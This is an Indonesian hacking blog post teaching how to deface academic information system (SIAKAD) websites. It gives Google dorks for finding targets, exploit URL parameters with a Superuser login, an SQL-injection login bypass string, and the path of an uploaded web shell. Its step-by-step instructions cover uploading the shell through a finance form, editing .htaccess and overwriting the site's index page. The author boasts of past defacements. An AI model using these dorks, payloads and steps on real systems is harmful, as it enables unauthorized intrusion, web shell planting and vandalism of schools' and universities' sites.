Deface Web Metode Bypass Admin on CMS SIAKAD

Hay gan-sist
Meet again nih dengan admin ganteng, hehe
Di artikel ini kita akan mempelajari ilmu para script kiddies, yaitu Deface Web. Tepatnya, disini lo akan mempelajari Deface web dengan teknik bypass admin pada CMS SIAKAD (Sistem Informasi Akademik)
Oiya, sebelumnya Taqqobalallohu Mina Wa Minkum , Mohon maaf lahir batin guys. Maapin gua kalo gua punya banyaaakkk salah ke lo semua, termasuk para admin web yang web-nya pernah gua anu anu hehe ;) Maapin gua juga kalo gua jarang post, hehe. Ojo lali sundul THR nya ke gua yo wkwk :p
Oke oke, gak usah banyak cincong lagi, langsung otw ke topik pembahasan..


Shortcut : Click Here For Watch Tutorial Video on Youtube


[+] Sesajen :

1. Dork :

/?mnux=login&lgn=frm
siakad
inurl:"?mnux=" intext:siakad
inurl:"?mnux=" intext:akademik
inurl:"?mnux=" intext:sisfo
inurl:"?mnux=" site:id
inurl:"?mnux=" site:com
inurl:"?mnux=" site:net

 NOTE : Pilih salah satu dork nya mbah 


2. Exploit :

/?mnux

ATAU

/?mnux=login&lgn=frm&lid=1&nme=Superuser

3. Bypass :
'=''or'

4. Shell Access :
/tmpbank/your-shell.php


[+] Jampi-jampi :

 1. Seperti biasa, gunakan dork untuk mencari target dengan cara Masukan dork ke mbah google, lalu pilih target lo.

 
2. Setelah pilih target, masukkan exploit-nya

3. Lalu bypass page admin-nya.

4. Kalo lo gak jones, lo bakal masuk ke page admin-nya, kayak gua wkwk B-)

5. Lalu pergi ke menu Keuangan > File Biaya Mahasiswa

6. Isi form nya asal aja, guys. Terus pilih Upload File dari Bank

7. Next, Upload your shell, suckers. Dan tunggu hingga Shell berhasil di upload.

8. Yeayy, Shell had been Uploaded

9. Lalu pergi ke direktori utama pada situs target.  Biasanya terletak di /public_html/ tapi disini gua mendapatkan target dengan direktori utama /var/www/

10.Disitu terlihat permission nya Not Writable. Ini menjadi penghalang oleh para Defacer untuk menebas index aslinya. So, mari kita bermain dengan .htaccess

pada file .htaccess dibawah ini, terlihat bagwa ExpiresActive dalam keadaan On, maka mati-kan lah, dengan merubah On menjadi Off

11. Tahap yang dinantikan oleh para defacer. Yapss, menebas index.

 
FINNISH.. Thanks for reading on my Blog.. Dont forget to leave comment